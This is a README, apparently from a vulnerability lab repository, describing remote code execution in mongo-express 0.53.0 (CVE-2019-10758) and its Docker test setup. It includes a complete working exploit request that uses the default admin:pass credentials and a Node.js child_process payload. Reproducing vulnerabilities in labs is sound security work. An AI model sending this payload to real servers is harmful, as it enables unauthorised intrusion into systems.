Aaron
63285f61aa
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39 lines
1.3 KiB
Markdown
39 lines
1.3 KiB
Markdown
# Mongo Express Remote Code Execution (CVE-2019-10758)
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[中文版本(Chinese version)](README.zh-cn.md)
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mongo-express is a third-party Web interface for MongoDB, developed using Node.js and Express. If an attacker can successfully log in, or if the target server hasn't changed the default credentials (`admin:pass`), they can execute arbitrary Node.js code.
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## Environment Setup
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Execute the following command to start mongo-express version 0.53.0:
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```bash
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docker compose up -d
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```
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After the environment starts, visit `http://your-ip:8081` to access the Web interface.
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## Vulnerability Reproduction
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Send the following HTTP request to execute the code `this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")`:
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```
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POST /checkValid HTTP/1.1
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Host: your-ip
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Authorization: Basic YWRtaW46cGFzcw==
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 124
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document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
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```
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As you can see, the `touch /tmp/success` command has been executed successfully:
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